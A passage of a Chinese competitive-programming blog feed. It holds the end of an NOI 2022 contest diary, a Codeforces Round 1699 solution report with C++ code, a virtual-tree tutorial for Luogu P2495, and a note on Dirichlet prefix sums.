&lt;p&gt;早饭的气氛则快速复苏，所有人都尽可能忘记昨天的事情。&lt;/p&gt;
&lt;p&gt;接下来也就是喜闻乐见的娱乐环节。话虽如此，也不过是在一个房间聊天。&lt;/p&gt;
&lt;p&gt;吃完午饭就是核酸和开幕式，被领队抓去拍了张照。&lt;/p&gt;
&lt;p&gt;今天唯一的活动就是开幕式。几乎和这个比赛有点关系的单位领导都上来说两句，然后抓个小孩过来吟唱「少年中国说」，再接着 dzd 讲话和无人机表演。&lt;/p&gt;
&lt;p&gt;我是不理解选择「少年中国说」和这位小孩的意义的，饱满的感情但是赛事重点没有任何关联的文字结合在一起成了本场开幕式最滑稽的一幕。不过 dzd 讲话和无人机表演倒是令人感到愉悦。&lt;/p&gt;
&lt;p&gt;结束后我直接以光速逃离讲厅，去找湖南人吹水。要到了 lzh 的勋章！&lt;/p&gt;
&lt;p&gt;晚上把东方夜雀食堂最后一点成就整上了。&lt;/p&gt;
&lt;h2&gt;7 Day 2&lt;/h2&gt;
&lt;p&gt;2022/08/25&lt;/p&gt;
&lt;p&gt;昨晚决定关闭空调以改善睡眠质量，但是失败了。因为太热，早上起来头疼的要死。&lt;/p&gt;
&lt;p&gt;不管咋样都得上考场的。吃完早饭进入考场，开始反复深呼吸。&lt;/p&gt;
&lt;p&gt;最后一场了，开题！&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;T1 一眼树 Hash + 暴力 72pts，然后发现记得具体的树 Hash 怎么写了，随便编了一个上去过样例写完大概 09:00。&lt;/li&gt;
&lt;li&gt;T2 没思路先看性质。首先能够得到每一位的值肯定是限制值的一个，基于这个思路大概就有了 B C 的 $O(n^2)$ 点，但是没有好的 A 的做法。大约 1030 的时候编出来一个 A 的做法开始写，然后发现挂了。先写完暴力大概 1100.&lt;/li&gt;
&lt;li&gt;回头看 T1。容易得到一个从上往下进行匹配的算法，复杂度大概是 $O(k!)$？能过是能过，但是感觉很不靠谱啊！先把暴力写了。&lt;/li&gt;
&lt;li&gt;回去接着整 T2 A 部分。最后也没整出来啥，还忘记写 B 了。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;出来就知道寄了，不过感觉也没寄太多。没有来得及伤感，就接到通知说收拾东西准备离开昆山，据说是因为高铁站附近有一例无症状感染者。经过紧张刺激的协商后决定直接在今天前往上海。&lt;/p&gt;
&lt;p&gt;跑去和雅礼人吹水，一问人均 200pts 左右，心态崩了啊！一问发现 T1 真的是离谱暴力，T2 A 性质一开始的写法是对的，而且可以扩展出去！当场就傻眼了。听闻查成绩提前，晃悠过去，一看 72+28+0 = 100。又是 100pts，很难绷得住。&lt;/p&gt;
&lt;p&gt;接下来详见 NOI 2022 游记 SP。&lt;/p&gt;
&lt;h2&gt;8 结&lt;/h2&gt;
&lt;p&gt;总分就是 100+100+100+5=305。&lt;/p&gt;
&lt;p&gt;直觉是这个分数应该在银牌边缘徘徊。看到成绩一直在想有没有 Ag，结果到了上海就忘的精光了。&lt;/p&gt;
&lt;p&gt;这次感觉不晓得自己在考啥，Day1 Day2 感觉都在当演员，但凡不演一点起码能 Ag 靠前。话虽如此，有这个心态的肯定不止我一个，只能说自己技不如人，甘拜下风。&lt;/p&gt;
</content:encoded><category>algorithm</category><category>share</category><author>woshiluo</author></item><item><title>Codeforces Round 1699 解题报告</title><link>https://blog.woshiluo.com/posts/2022/07/codeforces-round-1699-%E8%A7%A3%E9%A2%98%E6%8A%A5%E5%91%8A/</link><guid isPermaLink="true">https://blog.woshiluo.com/posts/2022/07/codeforces-round-1699-%E8%A7%A3%E9%A2%98%E6%8A%A5%E5%91%8A/</guid><pubDate>Tue, 05 Jul 2022 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;考试链接： https://codeforces.com/contest/1699&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;考试的时候 30min 写完 ABC 发现 D 没几个人就摸了。考完看了眼 E 发现一眼切。最后竟然上分了，我大受震撼。&lt;/p&gt;
&lt;h2&gt;A The Third Three Number Problem&lt;/h2&gt;
&lt;p&gt;求能否找到任意三个数字 $a,b,c$ 使得 $(a \oplus b) + (a \oplus c) + (b \oplus c) = n$ 。
容易发现奇数根本不可能，偶数随便构造。&lt;/p&gt;
&lt;h2&gt;B Almost Ternary Matrix&lt;/h2&gt;
&lt;p&gt;给表格染色。使得对于任意一个格子，有且只有两个相邻格子和这个颜色不同。
以 &lt;code&gt;2x2&lt;/code&gt; 为一个单位，交叉构造即可。&lt;/p&gt;
&lt;p&gt;&amp;lt;!--more--&amp;gt;&lt;/p&gt;
&lt;h2&gt;C The Third Problem&lt;/h2&gt;
&lt;p&gt;给定一个 $0 \cdots n - 1$ 的排列 $a$ ，求有多少个排序 $b$ 满足 $\forall i,j$ ，有 $mex_a(i,j) = mex_b(i,j)$ ，模 $10^9 +7$ 。
$n \leq 10^5$&lt;/p&gt;
&lt;h3&gt;思路&lt;/h3&gt;
&lt;p&gt;容易注意到 $0$ 是固定的，考虑从 0 出发维护当前的满足 $mex = i$ 的最小区间。
如果在移动 $i$ 的时候，区间没有变大，这 $i$ 可以在这个区间的任意位置。
否则这个数字的位置就是确定的。
$O(n)$ 处理即可。&lt;/p&gt;
&lt;h3&gt;Code&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;/*
 * c.cpp
 * Copyright (C) 2022 Woshiluo Luo &amp;lt;woshiluo.luo@outlook.com&amp;gt;
 *
 * 「Two roads diverged in a wood,and I—
 * I took the one less traveled by,
 * And that has made all the difference.」
 *
 * Distributed under terms of the GNU AGPLv3+ license.
 */

#include &amp;lt;cstdio&amp;gt;
#include &amp;lt;cstdlib&amp;gt;
#include &amp;lt;cstring&amp;gt;

#include &amp;lt;algorithm&amp;gt;

typedef const int cint;
typedef long long ll;
typedef unsigned long long ull;

inline bool isdigit( const char cur ) { return cur &amp;gt;= &apos;0&apos; &amp;amp;&amp;amp; cur &amp;lt;= &apos;9&apos;; }/*{{{*/
template &amp;lt;class T&amp;gt;
T Max( T a, T b ) { return a &amp;gt; b? a: b; }
template &amp;lt;class T&amp;gt;
T Min( T a, T b ) { return a &amp;lt; b? a: b; }
template &amp;lt;class T&amp;gt;
void chk_Max( T &amp;amp;a, T b ) { if( b &amp;gt; a ) a = b; }
template &amp;lt;class T&amp;gt;
void chk_Min( T &amp;amp;a, T b ) { if( b &amp;lt; a ) a = b; }
template &amp;lt;typename T&amp;gt;
T read() {
	T sum = 0, fl = 1;
	char ch = getchar();
	for (; isdigit(ch) == 0; ch = getchar())
		if (ch == &apos;-&apos;) fl = -1;
	for (; isdigit(ch); ch = getchar()) sum = sum * 10 + ch - &apos;0&apos;;
	return sum * fl;
}
template &amp;lt;class T&amp;gt;
T pow( T a, int p ) {
	T res = 1;
	while( p ) {
		if( p &amp;amp; 1 )
			res = res * a;
		a = a * a;
		p &amp;gt;&amp;gt;= 1;
	}
	return res;
}/*}}}*/

const int mod = 1e9 + 7;

struct ModInt {/*{{{*/
	int cur;
	ModInt( ll _cur = 0 ) { cur = ( ( ( _cur % mod ) + mod ) % mod ); }

	inline ModInt operator+ ( const ModInt &amp;amp;b ) const { return ( cur + b.cur ) % mod; }
	inline ModInt operator- ( const ModInt &amp;amp;b ) const { return ( ( ( cur - b.cur ) % mod ) + mod ) % mod; }
	inline ModInt operator* ( const ModInt &amp;amp;b ) const { return ( 1LL * cur * b.cur ) % mod; }
	inline ModInt operator/ ( const ModInt &amp;amp;b ) const { return ( 1LL * cur * pow( b, mod - 2 ).cur ) % mod; }

	inline void operator+= ( const ModInt &amp;amp;b ) { (*this) = (*this) + b; }
	inline void operator-= ( const ModInt &amp;amp;b ) { (*this) = (*this) - b; }
	inline void operator*= ( const ModInt &amp;amp;b ) { (*this) = (*this) * b; }
	inline void operator/= ( const ModInt &amp;amp;b ) { (*this) = (*this) / b; }

	inline void output( const char end = &apos;\n&apos; ) { printf( &quot;%d%c&quot;, cur, end ); }
};/*}}}*/

const int N = 1e5 + 1e4;

int a[N], pos[N];
ModInt fac[N];

int main() {
	int T = read&amp;lt;int&amp;gt;();

	fac[0] = 1;
	for( int i = 1; i &amp;lt; N; i ++ )
		fac[i] = fac[ i - 1 ] * i;

	while( T -- ) {
		cint n = read&amp;lt;int&amp;gt;();
		for( int i = 1; i &amp;lt;= n; i ++ ) {
			a[i] = read&amp;lt;int&amp;gt;();
			pos[ a[i] ] = i;
		}

		ModInt res = 1;
		int left = pos[0], rig = pos[0];
		for( int i = 1; i &amp;lt; n; i ++ ) {
			cint p = pos[i];
			if( left &amp;lt;= p &amp;amp;&amp;amp; p &amp;lt;= rig ) {
				res *= ( rig - left + 1 - i );
			}
			else {
				chk_Min( left, p );
				chk_Max( rig, p );
			}
		}

		res.output();
	}
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;D Almost Triple Deletions&lt;/h2&gt;
&lt;p&gt;给定序列 $a$ ，每次操作可以选择 $i, i &amp;lt; |a|$ 且 $a_i \neq a_{i+1}$ 然后删除这两个数字。
容易注意到最后只能剩下空串或者所有元素相同的序列，求最长剩余序列长度。
$|a| \leq 5000, 1 \leq a_i \leq n$&lt;/p&gt;
&lt;h3&gt;做法&lt;/h3&gt;
&lt;p&gt;考场上的时候糊了个 dp，下了冷静思考了一下发现情况讨论的不够，而且讨论全了会好写很多，很难绷得住。
令 $f_i$ 表示当前 $[1,i]$ 能有的最长剩余序列长度。
容易构造转移 $f_i = \max_{ j &amp;lt; i, a_i = a_j, f_j &amp;gt; 0, g(i,j)=1} f_{j-1} + 1$
其中 $g(i,j)$ 表示能不能将子串 $[i,j]$ 删光。
现在考虑处理 $g$ 。
容易发现一个序列可以删光当且仅当序列中出现次数最多的元素不占多数，这个是可以 $O(n^2)$ 处理的。
转移方程也可以 $O(n^2)$ 处理，问题结束。&lt;/p&gt;
&lt;h3&gt;Code&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;/*
 * d.cpp
 * Copyright (C) 2022 Woshiluo Luo &amp;lt;woshiluo.luo@outlook.com&amp;gt;
 *
 * 「Two roads diverged in a wood,and I—
 * I took the one less traveled by,
 * And that has made all the difference.」
 *
 * Distributed under terms of the GNU AGPLv3+ license.
 */

#include &amp;lt;cstdio&amp;gt;
#include &amp;lt;cstdlib&amp;gt;
#include &amp;lt;cstring&amp;gt;

#include &amp;lt;algorithm&amp;gt;

typedef const int cint;
typedef long long ll;
typedef unsigned long long ull;

inline bool isdigit( const char cur ) { return cur &amp;gt;= &apos;0&apos; &amp;amp;&amp;amp; cur &amp;lt;= &apos;9&apos;; }/*{{{*/
template &amp;lt;class T&amp;gt;
T Max( T a, T b ) { return a &amp;gt; b? a: b; }
template &amp;lt;class T&amp;gt;
T Min( T a, T b ) { return a &amp;lt; b? a: b; }
template &amp;lt;class T&amp;gt;
void chk_Max( T &amp;amp;a, T b ) { if( b &amp;gt; a ) a = b; }
template &amp;lt;class T&amp;gt;
void chk_Min( T &amp;amp;a, T b ) { if( b &amp;lt; a ) a = b; }
template &amp;lt;typename T&amp;gt;
T read() {
	T sum = 0, fl = 1;
	char ch = getchar();
	for (; isdigit(ch) == 0; ch = getchar())
		if (ch == &apos;-&apos;) fl = -1;
	for (; isdigit(ch); ch = getchar()) sum = sum * 10 + ch - &apos;0&apos;;
	return sum * fl;
}
template &amp;lt;class T&amp;gt;
T pow( T a, int p ) {
	T res = 1;
	while( p ) {
		if( p &amp;amp; 1 )
			res = res * a;
		a = a * a;
		p &amp;gt;&amp;gt;= 1;
	}
	return res;
}/*}}}*/

const int N = 5100;

int a[N];
int g[N];
bool f[N][N];

int main() {
#ifdef woshiluo
	freopen( &quot;d.in&quot;, &quot;r&quot;, stdin );
	freopen( &quot;d.out&quot;, &quot;w&quot;, stdout );
#endif
	int T = read&amp;lt;int&amp;gt;();
	while( T -- ) {
		cint n = read&amp;lt;int&amp;gt;();

		for( int i = 1; i &amp;lt;= n; i ++ ) {
			g[i] = 0;
			for( int j = 1; j &amp;lt;= n; j ++ ) {
				f[i][j] = false;
			}
		}

		for( int i = 1; i &amp;lt;= n; i ++ )
			a[i] = read&amp;lt;int&amp;gt;();

		for( int i = 1; i &amp;lt;= n; i ++ ) {
			static int pool[N];
			for( int j = 1; j &amp;lt;= n; j ++ )
				pool[j] = 0;

			int max = 0;
			auto len = []( cint left, cint rig ) { return rig - left + 1; };
			for( int j = i; j &amp;lt;= n; j ++ ) {
				pool[ a[j] ] ++;
				chk_Max( max, pool[ a[j] ] );
				if( max &amp;lt;= ( len( i, j ) &amp;gt;&amp;gt; 1 ) &amp;amp;&amp;amp; ( len( i, j ) % 2 == 0 ) )
					f[i][j] = true;
				else
					f[i][j] = false;
			}
		}

		int res = 0;
		f[1][0] = true;
		for( int i = 1; i &amp;lt;= n; i ++ ) {
			g[i] = f[1][ i - 1 ];
			for( int j = 1; j &amp;lt; i; j ++ ) {
				if( g[j] &amp;gt; 0 &amp;amp;&amp;amp; a[i] == a[j] &amp;amp;&amp;amp; ( ( j + 1 &amp;gt; i - 1 ) || f[ j + 1 ][ i - 1 ] ) )
					chk_Max( g[i], g[j] + 1 );
			}
			if( i == n || f[ i + 1 ][n] )
				chk_Max( res, g[i] );
		}
		printf( &quot;%d\n&quot;, res );
	}
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;E Three Days Grace&lt;/h2&gt;
&lt;p&gt;给定可重集合 $s$ ，定义一次操作是：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;选定一个数字 $x \in s$ 。&lt;/li&gt;
&lt;li&gt;选择任意 $p,q$ 满足 $pq = x, p,q &amp;gt; 1$ 。&lt;/li&gt;
&lt;li&gt;在 $s$ 中删除 $x$ ，插入 $p,q$ 。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;求在若干次操作后，最小化 $\max s - \min s$ 。
$1 \leq n \leq 10^6, 1 \leq m \leq 5 \times 10^6, 1 \leq s_i \leq m$&lt;/p&gt;
&lt;h3&gt;做法&lt;/h3&gt;
&lt;p&gt;容易发现这个集合可重不可重并不重要，那就当不可重的吧。
肯定是固定一个值然后最值化另一个值。
考虑现在确定 $i$ 是集合最小值，考虑定义 $f_j$ 表示在当前限制下，如果有 $f_j$ ，最大值最小是多少。
如果现在已经求出在 $i+1$ 是最小值时的 $f$ ，容易得出转移方程&lt;/p&gt;
&lt;p&gt;$$
f_{ki} = \min( f_{ki}, \max( f_{k}, i ) ) ( k \in N^{+}, ki \leq m)
$$ 如果 $f_j$ 不能满足当前限制，设为 $m$ 即可。
这样如果在所有 $f_i$ 都满足限制的情况下，这个限制下的答案就是 $\max{f} - i$ 。
从大到小枚举 $i$ ，每次更新答案。&lt;/p&gt;
&lt;h3&gt;Code&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;/*
 * e.cpp
 * Copyright (C) 2022 Woshiluo Luo &amp;lt;woshiluo.luo@outlook.com&amp;gt;
 *
 * 「Two roads diverged in a wood,and I—
 * I took the one less traveled by,
 * And that has made all the difference.」
 *
 * Distributed under terms of the GNU AGPLv3+ license.
 */

#include &amp;lt;cstdio&amp;gt;
#include &amp;lt;cstdlib&amp;gt;
#include &amp;lt;cstring&amp;gt;

#include &amp;lt;set&amp;gt;
#include &amp;lt;algorithm&amp;gt;

typedef const int cint;
typedef long long ll;
typedef unsigned long long ull;

inline bool isdigit( const char cur ) { return cur &amp;gt;= &apos;0&apos; &amp;amp;&amp;amp; cur &amp;lt;= &apos;9&apos;; }/*{{{*/
template &amp;lt;class T&amp;gt;
T Max( T a, T b ) { return a &amp;gt; b? a: b; }
template &amp;lt;class T&amp;gt;
T Min( T a, T b ) { return a &amp;lt; b? a: b; }
template &amp;lt;class T&amp;gt;
void chk_Max( T &amp;amp;a, T b ) { if( b &amp;gt; a ) a = b; }
template &amp;lt;class T&amp;gt;
void chk_Min( T &amp;amp;a, T b ) { if( b &amp;lt; a ) a = b; }
template &amp;lt;typename T&amp;gt;
T read() {
	T sum = 0, fl = 1;
	char ch = getchar();
	for (; isdigit(ch) == 0; ch = getchar())
		if (ch == &apos;-&apos;) fl = -1;
	for (; isdigit(ch); ch = getchar()) sum = sum * 10 + ch - &apos;0&apos;;
	return sum * fl;
}
template &amp;lt;class T&amp;gt;
T pow( T a, int p ) {
	T res = 1;
	while( p ) {
		if( p &amp;amp; 1 )
			res = res * a;
		a = a * a;
		p &amp;gt;&amp;gt;= 1;
	}
	return res;
}/*}}}*/

const int N = 5e6 + 1e5;

int main() {
#ifdef woshiluo
	freopen( &quot;e.in&quot;, &quot;r&quot;, stdin );
	freopen( &quot;e.out&quot;, &quot;w&quot;, stdout );
#endif
	int T = read&amp;lt;int&amp;gt;();
	while( T -- ) {
		static int pool[N], f[N];
		static bool have[N];
		cint n = read&amp;lt;int&amp;gt;();
		cint m = read&amp;lt;int&amp;gt;();

		int min = m, max = m, res = m;
		for( int i = 0; i &amp;lt;= m; i ++ ) {
			f[i] = m;
			pool[i] = 0;
			have[i] = 0;
		}

		for( int i = 1; i &amp;lt;= n; i ++ ) {
			cint p = read&amp;lt;int&amp;gt;();
			have[p] = 1;
			chk_Min( min, p );
		}

		for( int i = 1; i &amp;lt;= m; i ++ )
			pool[ f[i] ] += have[i];

		auto update = [&amp;amp;]( cint cur, cint val ) {
			if( have[cur] )
				pool[ f[cur] ] --;
			chk_Min( f[cur], val );
			if( have[cur] )
				pool[ f[cur] ] ++;
		};

		for( int i = m; i &amp;gt;= 1; i -- ) {
			update( i, i );

			for( int j = 1; 1LL * i * j &amp;lt;= m; j ++ ) {
				cint nxt = i * j;
				update( nxt, Max( i, f[j] ) );
			}

			while( pool[max] == 0 )
				max --;
			if( i &amp;lt;= min )
				chk_Min( res, max - i );
		}

		printf( &quot;%d\n&quot;, res );
	}
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;$$&lt;/p&gt;
</content:encoded><category>algorithm</category><author>woshiluo</author></item><item><title>虚树</title><link>https://blog.woshiluo.com/posts/2022/07/%E8%99%9A%E6%A0%91/</link><guid isPermaLink="true">https://blog.woshiluo.com/posts/2022/07/%E8%99%9A%E6%A0%91/</guid><pubDate>Sat, 02 Jul 2022 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;用途&lt;/h2&gt;
&lt;p&gt;对于大多数情况，树中只有很少一部分点是对当前要处理的信息是有意义的。&lt;/p&gt;
&lt;p&gt;我们可以在保留这些有意义的点，不破原树结构的情况下得到一个很精简的树，这样我们就不用遍历整颗树了。&lt;/p&gt;
&lt;p&gt;这种做法就叫虚树。&lt;/p&gt;
&lt;p&gt;&amp;lt;!--more--&amp;gt;&lt;/p&gt;
&lt;h2&gt;做法&lt;/h2&gt;
&lt;p&gt;我们管这些有意义叫关键点，对这些关键点按 dfn 序排序。
考虑构造一个栈，表示当前的维护的琏。
考虑遍历关键点，当前遍历到 $x$ ，则有如下情况
令 $p$ 为 $x$ 和栈顶的 lca。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;如果 $p$ 是栈顶，直接将 $x$ 加入栈；&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;如果栈中&lt;strong&gt;次&lt;/strong&gt;顶的 dfn $&amp;lt; dfn_p$ ，则证明当前结点和栈顶不在同一条链上，则需加入 $p$ 到栈中。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;如果不是以上两种情况，弹出栈顶回到步骤 1。
在弹出栈顶的时候连边。
容易发现，令 $k$ 为关键点个数，则总结点个数在 $O(k)$ 中，则构造复杂度在 $O(k \log n)$ 内，如果使用 $O(1)$ LCA，则构造复杂度可以优化到 $O(k)$ 。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;例 Luogu P2495 [SDOI2011] 消耗战&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;题目链接: https://www.luogu.com.cn/problem/P2495&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;题目大意&lt;/h3&gt;
&lt;p&gt;给定一个根为 $1$ ，大小为 $n$ 的树。
$q$ 次询问，每次询问给定一些关键点，最小化需要删除的边的边权，使得所有关键点和 $1$ 不联通。
$\sum k \leq 5 \times 10^5, n \leq 2.5 \times 10^5$&lt;/p&gt;
&lt;h3&gt;做法&lt;/h3&gt;
&lt;p&gt;首先考虑只有一次询问怎么做。
容易构造 DP：&lt;/p&gt;
&lt;p&gt;$$
f(x) = \sum_{y \in son_{x}}
\begin{cases}
e(x,y) &amp;amp; y 是关键点 \
\min( e(x,y), f(y) ) &amp;amp; y 不是关键点
\end{cases}
$$&lt;/p&gt;
&lt;p&gt;发现对于不是关键点的结点，其转移值事实上等于到最近的往下的关键点的最小边权。
对于每次查询构建虚树即可。&lt;/p&gt;
&lt;h3&gt;Code&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;/*
 * luogu.2495.cpp
 * Copyright (C) 2022 Woshiluo Luo &amp;lt;woshiluo.luo@outlook.com&amp;gt;
 *
 * 「Two roads diverged in a wood,and I—
 * I took the one less traveled by,
 * And that has made all the difference.」
 *
 * Distributed under terms of the GNU AGPLv3+ license.
 */

#include &amp;lt;cstdio&amp;gt;
#include &amp;lt;cstdlib&amp;gt;
#include &amp;lt;cstring&amp;gt;

#include &amp;lt;vector&amp;gt;
#include &amp;lt;algorithm&amp;gt;

typedef const int cint;
typedef long long ll;
typedef unsigned long long ull;

inline bool isdigit( const char cur ) { return cur &amp;gt;= &apos;0&apos; &amp;amp;&amp;amp; cur &amp;lt;= &apos;9&apos;; }/*{{{*/
template &amp;lt;class T&amp;gt;
T Max( T a, T b ) { return a &amp;gt; b? a: b; }
template &amp;lt;class T&amp;gt;
T Min( T a, T b ) { return a &amp;lt; b? a: b; }
template &amp;lt;class T&amp;gt;
void chk_Max( T &amp;amp;a, T b ) { if( b &amp;gt; a ) a = b; }
template &amp;lt;class T&amp;gt;
void chk_Min( T &amp;amp;a, T b ) { if( b &amp;lt; a ) a = b; }
template &amp;lt;typename T&amp;gt;
T read() {
	T sum = 0, fl = 1;
	char ch = getchar();
	for (; isdigit(ch) == 0; ch = getchar())
		if (ch == &apos;-&apos;) fl = -1;
	for (; isdigit(ch); ch = getchar()) sum = sum * 10 + ch - &apos;0&apos;;
	return sum * fl;
}
template &amp;lt;class T&amp;gt;
T pow( T a, int p ) {
	T res = 1;
	while( p ) {
		if( p &amp;amp; 1 )
			res = res * a;
		a = a * a;
		p &amp;gt;&amp;gt;= 1;
	}
	return res;
}/*}}}*/

const int N = 3e5 + 1e4;
const int K = 22;
const int INF = 0x3f3f3f3f;

struct Edge {/*{{{*/
	int to, next, val;
} e[ N &amp;lt;&amp;lt; 1 ];
int ehead[N], ecnt;
void add_edge( cint cur, cint to, cint val ) {
	ecnt ++;
	e[ecnt].to = to;
	e[ecnt].next = ehead[cur];
	e[ecnt].val = val;
	ehead[cur] = ecnt;
}/*}}}*/

int idx;
int dfn[N], dep[N];
int fa[N][K], min[N][K];
void dfs( cint cur, cint la ) {/*{{{*/
	idx ++; dfn[cur] = idx;
	fa[cur][0] = la; dep[cur] = dep[la] + 1;

	for( int k = 1; k &amp;lt; K; k ++ ) {
		if( fa[cur][ k - 1 ] ) {
			fa[cur][k] = fa[ fa[cur][ k - 1 ] ][ k - 1 ];
			min[cur][k] = Min( min[ fa[cur][ k - 1 ] ][ k - 1 ], min[cur][ k - 1 ] );
		}
	}

	for( int i = ehead[cur]; i; i = e[i].next ) {
		if( e[i].to == la )
			continue;

		cint to = e[i].to;
		min[to][0] = e[i].val;
		dfs( to, cur );
	}
}/*}}}*/

int get_lca( int from, int to ) {/*{{{*/
	if( dep[from] &amp;lt; dep[to] )
		std::swap( from, to );
	for( int k = K - 1; k &amp;gt;= 0; k -- ) {
		if( fa[from][k] &amp;amp;&amp;amp; dep[ fa[from][k] ] &amp;gt;= dep[to] )
			from = fa[from][k];
	}
	if( from == to )
		return from;
	for( int k = K - 1; k &amp;gt;= 0; k -- ) {
		if( fa[from][k] &amp;amp;&amp;amp; fa[to][k] &amp;amp;&amp;amp; fa[from][k] != fa[to][k] ) {
			from = fa[from][k];
			to = fa[to][k];
		}
	}
	return fa[from][0];
}/*}}}*/

// should promse: lca(from,to) = from
int get_min( cint from, cint to ) {/*{{{*/
	int cur = to;
	int res = INF;
	for( int k = K - 1; k &amp;gt;= 0; k -- ) {
		if( fa[cur][k] &amp;amp;&amp;amp; dep[ fa[cur][k] ] &amp;gt;= dep[from] ) {
			chk_Min( res, min[cur][k] );
			cur = fa[cur][k];
		}
	}
	return res;
}/*}}}*/

ll f[N];
bool impo[N];

void dp( cint cur ) {/*{{{*/
	f[cur] = 0;
	for( int i = ehead[cur]; i; i = e[i].next ) {
		cint to = e[i].to;
		dp(to);
		if( impo[to] )
			f[cur] += e[i].val;
		else
			f[cur] += Min( f[to], (ll)e[i].val );
	}
}/*}}}*/

int main() {
#ifdef woshiluo
	freopen( &quot;luogu.2495.in&quot;, &quot;r&quot;, stdin );
	freopen( &quot;luogu.2495.out&quot;, &quot;w&quot;, stdout );
#endif
	cint n = read&amp;lt;int&amp;gt;();
	for( int i = 1; i &amp;lt; n; i ++ ) {
		cint u = read&amp;lt;int&amp;gt;();
		cint v = read&amp;lt;int&amp;gt;();
		cint w = read&amp;lt;int&amp;gt;();
		add_edge( u, v, w );
		add_edge( v, u, w );
	}

	dfs( 1, 0 );

	ecnt = 0;
	for( int i = 1; i &amp;lt;= n; i ++ )
		ehead[i] = 0;

	cint m = read&amp;lt;int&amp;gt;();
	for( int _ = 1; _ &amp;lt;= m; _ ++ ) {
		std::vector&amp;lt;int&amp;gt; list, set;
		int k = read&amp;lt;int&amp;gt;();
		for( int i = 1; i &amp;lt;= k; i ++ ) {
			list.push_back( read&amp;lt;int&amp;gt;() );
			impo[ list.back() ] = true;
		}
		std::sort( list.begin(), list.end(), []( const int &amp;amp;_a, const int &amp;amp;_b ) { return dfn[_a] &amp;lt; dfn[_b]; } );

		std::vector&amp;lt;int&amp;gt; st;
		st.push_back(1); set.push_back(1);

		auto try_pop = [&amp;amp;]() {
			cint cur = st.back(); st.pop_back();
			set.push_back(cur);
			add_edge( st.back(), cur, get_min( st.back(), cur ) );
		};
		for( auto &amp;amp;x: list ) {
			while(1) {
				cint lca = get_lca( x, st.back() );
				if( lca == st.back() || dfn[ st[ st.size() - 2 ] ] &amp;lt; dfn[lca] )
					break;
				try_pop();
			}

			cint lca = get_lca( x, st.back() );
			if( lca != st.back() ) {
				cint tmp = st.back(); st.pop_back();
				st.push_back(lca); st.push_back(tmp);
				try_pop();
			}
			st.push_back(x);
		}
		while( st.size() &amp;gt; 1 )
			try_pop();

		dp(1);
		printf( &quot;%lld\n&quot;, f[1] );

		ecnt = 0;
		for( auto &amp;amp;x: set ) {
			ehead[x] = 0;
			impo[x] = false;
		}
	}
}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>algorithm</category><author>woshiluo</author></item><item><title>Dirichlet 前缀和</title><link>https://blog.woshiluo.com/posts/2022/06/dirichlet-%E5%89%8D%E7%BC%80%E5%92%8C/</link><guid isPermaLink="true">https://blog.woshiluo.com/posts/2022/06/dirichlet-%E5%89%8D%E7%BC%80%E5%92%8C/</guid><pubDate>Mon, 27 Jun 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;和后缀和。&lt;/p&gt;
&lt;h2&gt;0 序&lt;/h2&gt;
&lt;p&gt;求&lt;/p&gt;
&lt;p&gt;$$
b_k = \sum_{i|k}a_i
$$&lt;/p&gt;
&lt;p&gt;或&lt;/p&gt;
&lt;p&gt;$$
b_k = \sum_{k|d}a_d
$$&lt;/p&gt;
&lt;p&gt;都一样，没啥区别。&lt;/p&gt;
&lt;p&gt;&amp;lt;!--more--&amp;gt;&lt;/p&gt;
&lt;h2&gt;1 内容&lt;/h2&gt;
&lt;p&gt;前缀和的写法：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;for( auto &amp;amp;p: primes )
    for( int j = 1; 1LL * j * p &amp;lt;= N; j ++ )
        b[ j * p ] += a[j];
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;后缀和翻过来就行。&lt;/p&gt;
&lt;h2&gt;2 证明&lt;/h2&gt;
&lt;p&gt;一种比较野蛮的办法是参见 &lt;a href=&quot;https://blog.woshiluo.com/2073.html&quot;&gt;Sum over Subsets DP&lt;/a&gt; 的证明，这个东西实际上就是以质数为轴的高维前缀和。&lt;/p&gt;
&lt;p&gt;另一种是循环不等式，没看懂。&lt;/p&gt;
&lt;p&gt;这里考虑证明前缀和的形式，后缀和同理：&lt;/p&gt;
&lt;p&gt;令 $p_i$ 表示从小到大第 $i$ 个质数，假设 $S_{i,j} = { x | x = k \cdot j \land k = \sum_{i=1}^p p_i^{a_i} ( a_i \in N )}$&lt;/p&gt;
&lt;p&gt;我们令在第 $k$ 轮结束后，$b_i = \sum_{j \in S_{i,j}} a_i$。&lt;/p&gt;
&lt;p&gt;在 $k = 0$ 显然成立。&lt;/p&gt;
&lt;p&gt;在 $k \neq 0$ 时，如果 $p_k | i$ ，令 $i&apos; = \frac{i}{p_k}$，则有&lt;/p&gt;
&lt;p&gt;$$
\begin{aligned}
b_i &amp;amp;= b_i + b_{i&apos;} \
&amp;amp;= \sum_{j \in S_{ k - 1, i }} a_j + \sum_{j \in S_{k,\frac{i}{k}}} a_j \
&amp;amp;\because S_{ k - 1, i} \cap S_{ k, i&apos; } = \emptyset, S_{ k - 1, i } \cup S_{k,i&apos;}=S_{k,i} \
&amp;amp;\therefore b_i = b_i + b_{i&apos;} = \sum_{j \in S_{k,i}} a_j \
\end{aligned}
$$&lt;/p&gt;
